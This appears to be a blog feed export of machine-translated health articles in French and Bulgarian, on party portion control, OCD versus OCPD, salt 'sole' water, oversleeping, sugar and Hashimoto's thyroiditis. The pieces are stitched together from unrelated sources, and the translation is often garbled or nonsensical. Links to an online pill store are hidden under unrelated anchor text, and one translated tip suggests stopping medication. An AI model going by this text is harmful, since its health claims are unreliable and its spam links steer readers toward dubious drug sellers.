					<description><![CDATA[UCLA et a terminé sa formation à la Harvard Medical School. Astuce divertissante saine # 3: Soyez en vertu de la portion Comme je l&#8217;ai discuté dans mon épisode pourquoi nous avons sur-manger, les indices visuels jouent un rôle puissant dans la quantité que nous consommons. Déposer de grandes assiettes et d&#8217;énormes plateaux de service&#8230; <a class="more-link" href="https://gtfareast.com/wp/2023/03/27/ucla-et-a-termine-sa-formation-a-la-harvard-medical-school/">Continue reading <span class="screen-reader-text">UCLA et a terminé sa formation à la Harvard Medical School.</span></a>]]></description>
										<content:encoded><![CDATA[<h1> UCLA et a terminé sa formation à la Harvard Medical School.</h1>
</h1>
<h2 id="Astuce divertissante saine # 3: Soyez en vertu de la portion" name="Astuce divertissante saine # 3: Soyez en vertu de la portion"> Astuce divertissante saine # 3: Soyez en vertu de la portion </h2>
<p> Comme je l&#8217;ai discuté dans mon épisode pourquoi nous avons sur-manger, les indices visuels jouent un rôle puissant dans la quantité que nous consommons. Déposer de grandes assiettes et d&#8217;énormes plateaux de service empilés avec de la nourriture influence subtilement les gens à prendre des portions plus importantes. Je ne dis pas que vous devez être avare de la nourriture, mais vous pouvez rendre service à vos invités en leur donnant des assiettes légèrement plus petites, en utilisant des plateaux de service plus petits et en portant les aliments en petits morceaux.<span id="more-1010"></span> Servir les curseurs au lieu de hamburgers de grande taille. Faites des mini tacos au lieu de taille régulière. Séparez le poulet grillé dans les cuisses et les baguettes et coupez les seins en deux. Les clients peuvent toujours revenir pour en savoir plus. Mais il y a de fortes chances qu&#8217;ils mangent moins et seront tout aussi satisfaits. (Et avec moins de regrets!) </p>
<p> En outre, pensez à mettre la plupart de la nourriture et des boissons dans une pièce autre que celle où les gens regardent le match. Si tout ce que j&#8217;ai à faire pour prendre une autre aile de poulet est de prolonger mon bras, je suis beaucoup plus susceptible de continuer à manger longtemps après que je sois rassasié. Mais si je dois prendre une décision consciente de m&#8217;éloigner de l&#8217;action pour rassembler plus de nourriture, je suis plus susceptible de réfléchir avant de manger. </p>
<h2 id="Astuce divertissante saine n ° 4: utilisez la variété stratégiquement" name="Astuce divertissante saine n ° 4: utilisez la variété stratégiquement"> Astuce divertissante saine n ° 4: utilisez la variété stratégiquement </H2> </p>
<p> Nous avons tendance à manger plus lorsqu&#8217;il y a beaucoup de variété à choisir et cela nous cause souvent des ennuis lors des fêtes. S&#8217;il y a 6 types différents de chips et de bretzels proposés, nous sommes probablement plus que nous ne le ferions pas si nous le ferions si nous ne le ferions avec qu&#8217;une seule saveur de chips. Heureusement, cette tendance peut tout aussi bien transformer en avantage. </p>
<p> Limiter la sélection des puces à un ou deux. Mais quand il s&#8217;agit de rassembler le plateau de légumes, ne vous arrêtez pas avec les carottes et le céleri habituels. Empiler les légumes de toutes les différentes couleurs, formes, textures et saveurs: tomates de raisin, fleurons de chou-fleur, poivrons rouges, cuillères endives belges, radis, asperges blanchies. Offrez une variété colorée d&#8217;options de trempes saines ainsi que du houmous, de la salsa, des aubergines rôties, mais peut-être un seul fromage ou trempette à base de crème aigre. Vos invités profiteront d&#8217;une diffusion abondante &#8211; sans aucun des remords. </p>
<h2 id="Plus de conseils de fête!" name="Plus de conseils de fête!"> Plus de conseils de fête! </h2>
<p> Avez-vous des stratégies préférées pour des recettes de fête divertissantes saines ou formidables? Veuillez les partager dans les commentaires ci-dessous ou sur la page Facebook de Nutrition Diva. Pour plus de conseils pour héberger le bash du Super Bowl parfait, consultez ces conseils de Modern Manners Guy. </p>
<p> Et si vous assistez à la fête du Super Bowl de quelqu&#8217;un d&#8217;autre, il a également de bons conseils sur le cadeau parfait de l&#8217;hôtesse. </p>
<p> Que la meilleure équipe gagne! </p>
<p> Arachides, champignons en peluche et images de plattes de légumes de Shutterstock </p>
<h2 id="sur l'auteur" name="sur l'auteur"> sur l&#8217;auteur </h2>
<p> Monica Reinagel, MS, LD / N, CNS </p>
<p> Monica Reinagel est un nutritionniste, auteur et le créateur de la carte certifiée et le créateur d&#8217;un des podcasts de santé et de fitness les plus bien classés d&#8217;iTunes. Son conseil est régulièrement présenté dans l&#8217;émission Today, le Dr Oz, NPR, et dans les principaux journaux, magazines et sites Web du pays. Avez-vous une question nutritionnelle? Appelez la gamme Nutrition Diva auditeur au 443-961-6206. Votre question pourrait être présentée dans l&#8217;émission. </p>
<p> Les variations OCD et OCPD du même trouble? Ou sont-ils différents problèmes de santé mentale? Le psychologue Savvy explique les 5 différences importantes entre le trouble obsessionnel compulsif de la personnalité et le trouble obsessionnel compulsif. </p>
<p> Par Ellen Hendriksen, psychologue Savvy au doctor Adouillé le trouble de la personnalité le plus courant: OCPD. </p>
<p> L&#8217;auditeur Amanda M. de St. Louis, qui a demandé l&#8217;épisode, note à juste titre que l&#8217;OCPD est souvent confondu avec un trouble très différent qui a un nom très similaire: un trouble obsessionnel compulsif, ou TOC. </p>
<h2 id="Acheter maintenant" name="Acheter maintenant"> Acheter maintenant </h2>
<p> En tant qu&#8217;associé Amazon et affilié Bookshop.org, QDT gagne des achats éligibles. </p>
<p> Donc aujourd&#8217;hui, regardons 5 différences importantes entre OCPD et OCD: </p>
<h2 id="Différence # 1: Insight" name="Différence # 1: Insight"> Différence # 1: Insight </h2>
<p> Les gens avec TOC savent généralement que leurs pensées ne sont pas exactement raisonnables («ai-je éteint le poêle? Je ferais mieux de vérifier» ou «si je porte des Des chaussettes, quelque chose de mauvais arrivera à mon frère. ») </p>
<p> En revanche, les individus avec OCPD croient que leurs normes et éthiques de travail du ciel sont non seulement raisonnables, mais le seul moyen de faire avancer les choses. </p>
<h2 id="Différence # 2: détresse" name="Différence # 2: détresse"> Différence # 2: détresse </h2>
<p> Dans le TOC, les obsessions et les compulsions sont stressantes et désagréables. Par exemple, en se sentant convaincus que vous avez conduit sur quelqu&#8217;un et en tournant en arrière des dizaines de fois pour vérifier un corps transforme le ventre en nœuds. En revanche, pour les personnes atteintes d&#8217;OCPD, les horaires rigides et les règles de la condition sont souvent réconfortants et se sentent bien. </p>
<h2 id="Différence # 3: culpabilité" name="Différence # 3: culpabilité"> Différence # 3: culpabilité </h2>
<p> Dans le TOC, les individus peuvent, mais pas toujours, se sentir coupables de demander aux autres de se conformer à leurs rituels (par exemple: «Je sais que c&#8217;est un tracas pour Mettez des couvertures de chaussures chaque fois que vous entrez à l&#8217;intérieur, mais j&#8217;ai vraiment, vraiment besoin que vous le faisiez. mieux pour cela. </p>
<h2 id="différence # 4: anxiété" name="différence # 4: anxiété"> différence # 4: anxiété </h2>
<p> avec TOC, compulsions &#8211; les actions que quelqu&#8217;un avec TOC ne peut pas résister à faire, comme la vérification, le comptage ou le lavage &#8211; sont effectués pour réduire l&#8217;anxiété. Par exemple, une personne atteinte de TOC pourrait revoir son horaire pour la journée encore et encore parce qu&#8217;elle est terrifiée qu&#8217;elle a oublié d&#8217;inclure tous ses rendez-vous. </p>
<p> En revanche, une personne atteinte d&#8217;OCPD pourrait faire et examiner un horaire détaillé afin d&#8217;être complet et efficace. L&#8217;anxiété ne fait pas partie de l&#8217;image. </p>
<h2 id="Différence # 5: Time" name="Différence # 5: Time"> Différence # 5: Time </h2>
<p> Par définition, le TOC prend plus d&#8217;une heure par jour. C&#8217;est vrai &#8211; une partie d&#8217;un diagnostic de TOC peut être le fait que les obsessions, ainsi que les compulsions à neutraliser les obsessions, aspirent beaucoup de temps. L&#8217;OCPD, en revanche, est plus étroitement entrelacée à sa personnalité. Plutôt que d&#8217;être une activité en soi, le perfectionnisme et le contrôle de l&#8217;OCPD sont plus un trait, pas un temps suce. </p>
<p> Astuce rapide: pensez à la différence d&#8217;une lettre entre les deux acronymes: OCPD a un «P» en elle, qui vous pouvez prétendre représenter «le perfectionnisme», la caractéristique déterminante du trouble. </p>
<p> De toute façon, vous le coupez, ces troubles sont difficiles à vivre. La bonne nouvelle? Ils sont également traitables, en particulier le TOC. Avec le travail et la pratique, la seule différence à laquelle vous pensez est la différence que fait un bon traitement. </p>
<p> Soyez plus avisé en vous abonnant au podcast sur iTunes ou Stitcher, ou obtenez l&#8217;épisode directement à votre boîte de réception en s&#8217;inscrivant à la newsletter. De plus, suivez-moi sur Facebook et Twitter; </p>
<p> Tout le contenu ici est à des fins d&#8217;information uniquement. Ce contenu ne remplace pas le jugement professionnel de votre propre fournisseur de santé mentale. Veuillez consulter un professionnel de la santé mentale agréé pour toutes les questions et problèmes individuels. </p>
<h2 id="sur l'auteur" name="sur l'auteur"> sur l&#8217;auteur </h2>
<p> Ellen Hendriksen, PhD </p>
<p> dr. Ellen Hendriksen a été l&#8217;hôte du podcast psychologue Savvy de 2014 à 2019. Elle est psychologue clinicienne au Center for Anxiety and Related Disorders de l&#8217;Université de Boston (carte). Elle a gagné son doctorat. à l&#8217;UCLA et a terminé sa formation à la Harvard Medical School. Son approche scientifiquement basée sur le jugement zéro est régulièrement présentée dans Psychology Today, Scientific American, The Huffington Post et de nombreux autres médias. Son premier livre, How To Be Yourself: Quiet Your Inner Critic et Rise Above Social Anxiété, a été publié en mars 2018. </p>
<p> Abonnez-vous au podcast psychologue Savvy Spotify Google Stitcher </p>
<p> Une nouvelle mode promue par diverses santé et bien-être Gurus promet une liste étonnante d&#8217;avantages. Y a-t-il du vrai pour le battage médiatique? </p>
<p> par Monica Reinagel, MS, LD / N, CNS Nutrition Diva 31 octobre 2017 Readepisode de 3 minutes # 452 Play Pause Écouter Qu&#8217;est-ce que l&#8217;eau unique et est-ce bon pour vous? Nous rencontrons actuellement des problèmes de lecture sur Safari. Si vous souhaitez écouter l&#8217;audio, veuillez utiliser Google Chrome ou Firefox. </p>
<p> Nancy écrit: «Quelle est votre opinion sur l&#8217;eau unique? J&#8217;en ai beaucoup entendu parler et à quel point cela peut être fantastique, mais je ne veux pas sauter dans le train si cela est préjudiciable à ma santé. »</p>
<h2 id="Quelle est l'eau unique?" name="Quelle est l'eau unique?"> Quelle est l&#8217;eau unique? </h2>
<p> L&#8217;eau unique (So-Lay), si vous n&#8217;en avez pas entendu parler, est une nouvelle mode promue par divers gourous «alternatifs» de santé et de bien-être. Fondamentalement, cela revient à boire de l&#8217;eau salée. Pas n&#8217;importe quelle eau salée, attention. Mais une solution spéciale à base de sel rose himalayen et d&#8217;eau purifiée. </p>
<p> Le sel de l&#8217;Himalaya est récolté dans les montagnes himalayennes, qui étaient autrefois des fonds marins. La couleur rose est due à la présence de divers minéraux et impuretés dans le sel. La plupart des minéraux trouvés dans le sel himalayen n&#8217;ont aucune fonction connue dans le corps humain. Certains, comme le potassium et le magnésium, sont essentiels. D&#8217;autres, comme le cadmium, le mercure et l&#8217;arsenic, sont en fait nocifs s&#8217;ils sont consommés en quantités suffisantes. Heureusement, les quantités dont nous parlons ici sont trop petites pour être nocives, mais par le même jeton, sont également trop minutieuses pour être significatives nutritionnelles. </p>
<p> Ces cristaux roses sont devenus assez omniprésents. Ils ont l&#8217;air jolis dans un moulin à sel. Les traces de minéraux peuvent conférer une saveur plus douce et plus complexe que beaucoup de gens trouvent agréables. Et, parce qu&#8217;ils ne sont pas aussi purs et non raffinés les sels de mer sont parfois un peu plus bas en sodium que le sel de table ordinaire. </p>
<p> Mais maintenant, le sel de l&#8217;Himalaya est également utilisé pour faire de l&#8217;eau unique. La procédure habituelle est de dissoudre les cristaux de sel rose dans l&#8217;eau pour faire une solution concentrée. Ensuite, vous mélangez une cuillère à café de ce concentré dans le verre d&#8217;eau et le buvez une ou deux fois par jour. Je ne suis pas clair sur la raison pour laquelle ce processus en deux étapes est nécessaire. Il me semble que vous pourriez simplement dissoudre une ¼ de cuillère à café de sel dans un verre d&#8217;eau. Mais apparemment, cela perturbe les vibrations &#8230; ou quelque chose. </p>
<p> En tout cas, il est dit que boire ceci au quotidien offrait un éventail étonnant d&#8217;avantages. Voici une liste glanée sur Internet (celle la plus fiable des sources). </p>
<h2 id="Les avantages supposés de la santé de l'eau unique" name="Les avantages supposés de la santé de l'eau unique"> Les avantages supposés de la santé de l&#8217;eau unique </h2>
<p> se détoxifie le corps du corps améliore le pH systémique améliore l&#8217;hydratation améliore le statut minéral réduit La glycémie soutient l&#8217;équilibre des hormones pour tout le monde, peu importe les problèmes hormonaux auxquels vous êtes confronté (non, sérieusement, c&#8217;est une citation textuelle) aide à équilibrer la pression artérielle, l&#8217;amélioration du sommeil agit comme un puissant antihistaminique soutient les supports de perte de poids Le corps des métaux lourds empêche l&#8217;arthrite, les calculs rénaux et la vésicule biliaire stimule l&#8217;énergie empêche les varices renforce les os </p>
<p> ouf! Pouvez-vous croire à quel point ces trucs sont puissants? Ouais, je ne peux pas non plus que je. </p>
<h2 id="pages" name="pages"> pages </h2>
<p> 12Next ›Last» </p>
<h2 id="sur l'auteur" name="sur l'auteur"> sur l&#8217;auteur </h2>
<p> Monica Reinagel, MS, LD / N, CNS </p>
<p> Monica Reinagel est une planche -Certifié nutritionniste agréé, auteur et créateur de l&#8217;un des podcasts de santé et de fitness les plus bien classés d&#8217;iTunes. Son conseil est régulièrement présenté dans l&#8217;émission Today, le Dr Oz, NPR, et dans les principaux journaux, magazines et sites Web du pays. Avez-vous une question nutritionnelle? Appelez la gamme Nutrition Diva auditeur au 443-961-6206. Votre question pourrait être présentée dans l&#8217;émission. </p>
<p> La semaine dernière, vous avez appris exactement comment ne <a href="https://yourpillstore.com/fr/zenidol/">Vérifiez votre URL</a> pas dormir suffisamment (moins d&#8217;environ sept heures par nuit), peut provoquer un gain de graisse, une perte musculaire et une incapacité à contrôler l&#8217;appétit, mais la solution n&#8217;est certainement pas Pour commencer à dormir autant que possible. </p>
<p> par Ben Greenfield Get-Fit Guy 22 août 2016 4 minutes ReadEpisode # 300 Play Pause écouter Will Too Much Dormer vous fera grossir? Nous rencontrons actuellement des problèmes de lecture sur Safari. Si vous souhaitez écouter l&#8217;audio, veuillez utiliser Google Chrome ou Firefox. </p>
<p> Gain de poids: en utilisant les mêmes données que l&#8217;étude canadienne mentionnée ci-dessus, les chercheurs ont également trouvé une association entre la prise de poids et le sommeil excessif. Les gens qui dormaient plus de 9 heures par nuit ont en fait pris plus de poids que les traverses «normales» sur une période de six ans et étaient plus susceptibles de subir un gain de poids important. En tant que chat, les personnes qui dormaient constamment pendant neuf heures par nuit se sont révélées 21% plus susceptibles que les dormeurs normaux de devenir obèses! </p>
<p> Bien sûr, il y a la question du poulet et des œufs de Que le sommeil excessive provoque ce type de conditions nocives, ou si certaines maladies provoquent un sommeil excessive. </p>
<p> Inflammation: L&#8217;inflammation chronique est liée à un risque accru d&#8217;une multitude de maladies chroniques telles que le diabète, les maladies cardiaques et la maladie d&#8217;Alzheimer, et avoir trop peu ou trop de sommeil peut contribuer de manière significative à l&#8217;inflammation. L&#8217;inflammation est mesurée par des niveaux de cytokines appelés protéines C-réactives, ou CRP. Une étude a comparé les niveaux de CRP et les durées de sommeil dans un grand groupe d&#8217;adultes et a révélé que de longs dormeurs avaient des niveaux élevés de marqueurs inflammatoires. Un CRP élevé a été vu dans les Caucasiens qui dormaient moins de cinq et plus de neuf heures, les Hispaniques qui dormaient plus de neuf heures, les Afro-Américains qui dormaient moins de cinq et plus de huit heures et les Asiatiques qui dormaient plus de neuf heures. Une autre étude a montré que les femmes longues féminines avaient 44% des niveaux de CRP plus élevés que les femmes dormant sept heures et encore une autre étude a montré que les niveaux de CRP augmentaient de 8% pour chaque heure de sommeil supplémentaire au-delà des sept à huit heures normales par nuit, même lors de l&#8217;adaptation Pour des facteurs comme la masse corporelle, l&#8217;âge et l&#8217;apnée du sommeil. </p>
<p> Alors, qu&#8217;est-ce qui cause un sommeil excessif? Parfois, cela peut être un signe de dépression, mais il peut également être causé par des médicaments ou des médicaments considérés comme des «déchets», tels que Ambien ou Valium, une apport en excès d&#8217;alcool ou même l&#8217;apnée obstructive du sommeil, qui est une condition qui provoque une Arrêtez de respirer à plusieurs reprises pendant la nuit et nécessite plus d&#8217;heures de sommeil pour se sentir reposants en raison du sommeil constamment interrompu. Il y a même un nom pour la condition médicale de l&#8217;entreinte habituelle: l&#8217;hypersomnie, et elle est liée à une multitude d&#8217;effets secondaires, y compris l&#8217;anxiété, l&#8217;irritabilité, le manque d&#8217;énergie, la perte d&#8217;appétit et la perte de mémoire. </p>
<p> de Bien sûr, il y a la question du poulet et des œufs de savoir si le sommeil excessive provoque ce type de conditions nocives, ou si certaines maladies provoquent un sommeil excessif. Franchement, certaines études indiquent que dormant trop peut déclencher certains problèmes, tandis que d&#8217;autres études montrent que le sommeil est un sous-produit des maladies ou des maladies concomitantes. Cette même recherche note également que les personnes plus en bonne santé peuvent simplement avoir besoin de moins de repos tandis que les personnes malsaines ont tendance à avoir besoin de plus de sommeil. Le domaine de la science du sommeil examine toujours la relation de cause et d&#8217;effet entre le sommeil excessive et la santé, mais jusque-là, il existe certainement plusieurs habitudes et étapes prouvées de la recherche qui peuvent favoriser un sommeil de meilleure qualité et une durée de sommeil saine &#8211; que vous soyez un sous-endormi ou un sommeil exagéré. Ces habitudes «hygiène saine du sommeil» comprennent: </p>
<p> 1. Si vous prenez des médicaments ou des suppléments qui provoquent une excitabilité ou une somnolence excessive, de la caféine aux antihistaminiques, envisagez d&#8217;arrêter le médicament ou de compléter ou de modifier le calendrier de celui-ci. </p>
<p> 2. Faites tout votre possible pour faire exposition à de grandes quantités de lumière naturelle le matin et limiter l&#8217;exposition à la lumière artificielle le soir. </p>
<h3>Contents</h3>
<ul>
<li><a href="#Astuce divertissante saine # 3: Soyez en vertu de la portion">Astuce divertissante saine # 3: Soyez en vertu de la portion</a></li>
<li><a href="#Astuce divertissante saine n ° 4: utilisez la variété stratégiquement">Astuce divertissante saine n ° 4: utilisez la variété stratégiquement</a></li>
<li><a href="#Plus de conseils de fête!">Plus de conseils de fête!</a></li>
<li><a href="#sur l'auteur">sur l&#8217;auteur</a></li>
<li><a href="#Acheter maintenant">Acheter maintenant</a></li>
<li><a href="#Différence # 1: Insight">Différence # 1: Insight</a></li>
<li><a href="#Différence # 2: détresse">Différence # 2: détresse</a></li>
<li><a href="#Différence # 3: culpabilité">Différence # 3: culpabilité</a></li>
<li><a href="#différence # 4: anxiété">différence # 4: anxiété</a></li>
<li><a href="#Différence # 5: Time">Différence # 5: Time</a></li>
<li><a href="#sur l'auteur">sur l&#8217;auteur</a></li>
<li><a href="#Quelle est l'eau unique?">Quelle est l&#8217;eau unique?</a></li>
<li><a href="#Les avantages supposés de la santé de l'eau unique">Les avantages supposés de la santé de l&#8217;eau unique</a></li>
<li><a href="#pages">pages</a></li>
<li><a href="#sur l'auteur">sur l&#8217;auteur</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Въпреки това не знаем механизма зад това.</title>
		<link>https://gtfareast.com/wp/2023/03/27/%d0%b2%d1%8a%d0%bf%d1%80%d0%b5%d0%ba%d0%b8-%d1%82%d0%be%d0%b2%d0%b0-%d0%bd%d0%b5-%d0%b7%d0%bd%d0%b0%d0%b5%d0%bc-%d0%bc%d0%b5%d1%85%d0%b0%d0%bd%d0%b8%d0%b7%d0%bc%d0%b0-%d0%b7%d0%b0%d0%b4-%d1%82%d0%be/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 27 Mar 2023 08:16:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=1006</guid>

					<description><![CDATA[Въпреки това не знаем механизма зад това. Много хора намират за невъзможно да следват такава рестриктивна диета, която може да увековечи диетата им за колоездене и чувство на неуспех. Не е добре. Плюс това, много хора могат да понасят въглехидратите просто добре. Едно от тези хора се пише тази публикация в блога, така че ето.&#8230; <a class="more-link" href="https://gtfareast.com/wp/2023/03/27/%d0%b2%d1%8a%d0%bf%d1%80%d0%b5%d0%ba%d0%b8-%d1%82%d0%be%d0%b2%d0%b0-%d0%bd%d0%b5-%d0%b7%d0%bd%d0%b0%d0%b5%d0%bc-%d0%bc%d0%b5%d1%85%d0%b0%d0%bd%d0%b8%d0%b7%d0%bc%d0%b0-%d0%b7%d0%b0%d0%b4-%d1%82%d0%be/">Continue reading <span class="screen-reader-text">Въпреки това не знаем механизма зад това.</span></a>]]></description>
										<content:encoded><![CDATA[<h1> Въпреки това не знаем механизма зад това.</h1>
</h1>
<p>Много хора намират за невъзможно да следват такава рестриктивна диета, която може да увековечи диетата им за колоездене и чувство на неуспех. Не е добре. Плюс това, много хора могат да понасят въглехидратите просто добре.</p>
<p> Едно от тези хора се пише тази публикация в блога, така че ето. </p>
<p> Проблемът с всички тези хипотезивни и теоретични неща и диети е, че затлъстяването, храненето, избора на храна, загубата на тегло, наддаването на тегло, жаждата за захар, каквото и да е &#8230;<span id="more-1006"></span> всичко това е много по -сложно от само захарта &#8211; или храната, за този въпрос. И да кажете на някой, който се бори с теглото си и натрапчивото ядене на захар, че трябва да изрежат почти цялата захар и въглехидрати и да ядат предимно мазнини и протеини игнорира цялата страна на „Защо ядете цялата тази захар на първо място“. Трябва да опитаме всичко възможно да не опростим затлъстяването и здравето в „просто променете диетата си и ще бъдете страхотни“. </p>
<p> По-често има основни проблеми, свързани с нехранителните храни, които трябва да бъдат адресирани. Ако сте в тази конкретна ситуация, моля, не позволявайте на някой да ви убеди, че всичко ще е наред, ако просто промените диетата си. Получете професионална помощ, за да разберете какво всъщност ви кара да ядете по този начин. </p>
<p> Има много хора, които вярват, че са „пристрастени“ към захарта. </p>
<p> Спомняте ли си онези изследователи, които твърдят, че „захарта е по -пристрастяващ от кокаина“? Медиите имаха абсолютна ярост над тази и това породи няколко години страх от захар. Истината е, че прегледът, на който се основаваше тази прокламация, беше недостатъчно, голямо време. Първо, учените цитираха проучвания на плъхове. Второ, онези бедни гризачи, на които им беше позволено да имат захар само за определен период от време всеки ден и им беше дадена чиста захар. Ядете ли захар от буркана? Надявам се не. Когато ядете захар, тя обикновено се комбинира с други неща. </p>
<p> Така че, въпреки че горният преглед направи сензационни заглавия, както обикновено, в историята имаше повече. </p>
<p> В преглед на горното изследователите твърдят, че ако плъховете биха имали достъп до захар, както ние-всеки път, когато го пожелаем-не биха показали поведение, подобно на пристрастяване. Обикновено ние също не консумираме захар самостоятелно, както направиха гризачите в проучването. </p>
<p> Системата за възнаграждение в мозъка ни може да запали както захарта, така и от лекарствата, но според изследователите, лекарствата, а не захарта, всъщност отвлича тази система и изключва естествените контроли. </p>
<p> Въпреки че захарта може да не е технически „пристрастяващ“, натрапчивото хранене на захарта със сигурност е истински проблем и това, което трябва да се изучава повече. Опитът с яденето на сладки храни обикновено е положителен и може да накара хората да жадуват повече. Освен това не е много засищащо, така че не е склонно да ни запълва &#8211; особено когато присъства <a href="https://yourpillstore.com/bg/">съдържание</a> с други рафинирани въглехидрати и без протеин/мазнини. </p>
<p> Захарта, когато се комбинира с мазнини, може да предизвика поведение, подобно на пристрастяване (но не в съответствие с наркоманията или наркотиците), според това проучване. </p>
<h2 id="Захарната индустрия" name="Захарната индустрия"> Захарната индустрия </h2>
<p> Не бих ви давал цялата история, ако не споменах тук, че изследванията на захарта не са били без спор. Напоследък захарната индустрия е изложена като повлияла на минали изследвания (и тук), за да се изчисти захарта и да се намекват мазнини при риска от сърдечни заболявания. Изобщо не е готино, захарни хора. Те също се бориха като ад, за да се опитат да предотвратят линията „добавени захари“ на новите етикети на храните в САЩ (и изгубените), както и данъците на содата в цялата страна. Очевидно „достъпът до достъпни хранителни стоки“ означава да поддържате и сладки напитки евтини. Hm. </p>
<h2 id="Вашето здраве и захар" name="Вашето здраве и захар"> Вашето здраве и захар </h2>
<p>; Захарта може да бъде свързана с възпалението в тялото. Излишните калории и по -специално излишните захари в телата ни се превръщат в триглицериди, които са мазнини, които могат да се натрупат в черния дроб и кръвта. Високите триглицериди са предшественик на мастния черен дроб, сърдечни заболявания и инсулт. </p>
<p> Ще чуете много глупости „захар е токсична“. Страхът от страх никога не ни е стигнал до никъде. Дозата прави отровата и това е всичко, което трябва да кажа за това. </p>
<p> В множество проучвания е открита и връзка между подсладени на напитки като поп и захарни кафе напитки и затлъстяване. Сладките напитки често причиняват наддаване на тегло, тъй като са лесни за пиене и по -важното е, че тялото има проблеми с разпознаването на напитките като действителна храна. Това означава, че след като хвърлите PSL, мозъкът ви не се регистрира, че току -що сте консумирали 450 калории. Yikers. След това продължавате с деня си, сякаш не сте се занимавали с тези калории. И те в крайна сметка са „допълнителни“, на всичкото отгоре на всичко останало, което ядете и пиете. </p>
<p> И какво означава това за нас? </p>
<h2 id="И така ... Здраво ли е захарта за нас?" name="И така ... Здраво ли е захарта за нас?"> И така &#8230; Здраво ли е захарта за нас? </h2>
<p> Накратко, твърде много захар е проблем, но далеч не е единствено отговорен за нашите здравословни проблеми. Като население ние ядем повече като цяло. Ние се обръщаме към удобни храни, които се обработват с ултра, ядем в ресторанти твърде често и сме по -малко активни. Ние също така се предаваме на съветите на хората, които са войнстващи по отношение на храната и „чистото хранене“ с нула захар. Всичко това има ефект от нашето здраве. </p>
<p> Моите препоръки са доста стандартни: </p>
<p> Не пийте сладки глупости. </p>
<p> Няма нужда да „детоксикация“ от захарта или изрязване напълно: просто се опитайте да го отрежете колкото е възможно повече. Няма да компрометирате здравето си, ако имате умерено количество захар. </p>
<p> Моля, прочетете етикети/потърсете хранителни средства онлайн за храните, които ядете най -често. Много хора не знаят, че кифла (известна още като „торта за закуска“) може да има повече от 40 грама захар (10 чаени лъжички). Yikes. </p>
<p> Яжте предимно растения, с висококачествен протеин, а някои-не тон-минимално обработени въглехидрати. </p>
<p> Когато става въпрос за сладко, изберете това, което предпочитате, и използвайте възможно най -малко. Никой подсладител не е по -добър от друг. </p>
<p> Гответе повече у дома. Можеш да го направиш! Ястията не трябва да са фантастични. Имам много прости, здравословни и здравословни рецепти на моя сайт. </p>
<p> Не преминавайте от диета към диета, без да коригирате това, което наистина е счупено. През повечето време това нещо изобщо не е свързано с храната. Говорете с някого, ако трябва да стигнете до дъното на нещата веднъж завинаги: мисля, че знаете защо ядете по определен начин/да направите определен избор на храна е по -ефективно от всяка диета, на която бихте могли да се поставите. Също така: Не ставай жертва, за да се страхуваш от хора, които наричат всяка храна „токсична“. Това е нелепо и объркано. Предполага се, че храната и храненето са приятни. </p>
<h3 id="Гладен за повече информация за храненето?" name="Гладен за повече информация за храненето?"> Гладен за повече информация за храненето? </h3>
<p> Прочетете това: Органичната храна е по -добра от конвенционалната храна? </p>
<p> Има много дезинформация за най -добрата диета за Хашимото. Не е нужно да изглеждате трудно, за да намерите добавки, произволни диетични ограничения и обещания, че определена диета може да „обърне“ вашето хашимото за няколко седмици. Но има ли специфична диета за Хашимото? Кои хранителни вещества са хора с вероятността от Хашимото да имат недостиг? </p>
<p> Време е да видим какво казва науката за всичко това. </p>
<h2 id="Какво е щитовидната жлеза?" name="Какво е щитовидната жлеза?"> Какво е щитовидната жлеза? </h2>
<p> щитовидната ви жлеза е жлеза с форма на пеперуда, разположена отпред на врата ви. Въпреки че е сравнително малък, той има огромната работа да произвежда хормоните &#8211; Т3 (Тийодтиронин) и Т4 (тироксин) &#8211; които регулират метаболизма ви. Той също така произвежда калцитонин, който контролира нивата на калций и фосфор в кръвта ви и помага при производството на кост. </p>
<p> TSH, или стимулиращ щитовидната жлеза, сигнализира на щитовидната жлеза да освободи T3 и T4. TSH е направен в хипофизната жлеза, която е вътре в мозъка. </p>
<p> T3 и T4, чрез метаболитна скорост, влияят на следното: </p>
<p> растеж и развитие при деца </p>
<p> Регулиране на телесната температура </p>
<p> сърцебиене </p>
<p> Колко бързо обработвате храна </p>
<p> тегло, чрез регулирането на енергийните разходи </p>
<p> Около 12% от населението на САЩ ще има проблеми с щитовидната жлеза през живота си. Жените са с пет до осем пъти по -голяма вероятност от мъжете да имат нарушения на щитовидната жлеза, а до 60% от хората с проблеми с щитовидната жлеза не са наясно с тях. </p>
<h2 id="Какво причинява хипотиреоидизъм?" name="Какво причинява хипотиреоидизъм?"> Какво причинява хипотиреоидизъм? </h2>
<p> Хипотиреоидизъм, известен иначе като „Неактивна щитовидна жлеза“, е, когато щитовидната ви жлеза не произвежда достатъчно T3 и T4. </p>
<p> Тъй като T3 и T4 са отговорни за горните функции, когато нямате достатъчно от тези хормони, можете да усетите някои различни симптоми. Те включват: </p>
<p> Винаги чувствах студ </p>
<p> наддаване на тегло </p>
<p> Бавен сърдечен ритъм </p>
<p> Суха кожа и чупливи нокти </p>
<p> Чувствам се уморен през цялото време </p>
<p> запек </p>
<p> загуба на коса </p>
<p> депресия </p>
<p> Лоша памет </p>
<p> нарушена плодовитост </p>
<p> Хората с хипотиреоид имат повишен риск от сърдечни заболявания и повишен холестерол, както и периферна невропатия, което е увреждане на нервите. Хроничният хипотиреоид също може да причини безплодие и проблеми с психичното здраве. </p>
<p> Хипотиреоидът може да бъде причинен от операция за отстраняване на щитовидната жлеза, някои лекарства, лечение на рак или бременност. Тя може да бъде причинена и от проблеми с хипофизната жлеза, която секретира TSH, което от своя страна причинява освобождаването на Т3 и Т4. Това се нарича „вторична болест на щитовидната жлеза“, тъй като произхожда от друга жлеза, а не от самата щитовидна жлеза. Но най -често хипотиреоидът се причинява от заболяване, наречено тиреоидит на Хашимото. </p>
<h2 id="Какво е тиреоидит на Хашимото?" name="Какво е тиреоидит на Хашимото?"> Какво е тиреоидит на Хашимото? </h2>
<p> Хашимото е автоимунно заболяване, при което имунната система атакува щитовидната жлеза, причинявайки възпаление и хипотиреоид. Можете да имате Хашимото и да не забелязвате нищо от години или, може да забележите симптоми на хипотиреоид. Вие сте изложени на по -висок риск от Хашимото, ако имате други автоимунни заболявания като лупус, синдром на Sjogren или ревматоиден артрит. </p>
<p> Оставянето на нетретирането на Хашимото за дълъг период от време може да причини трайни щети на щитовидната жлеза. </p>
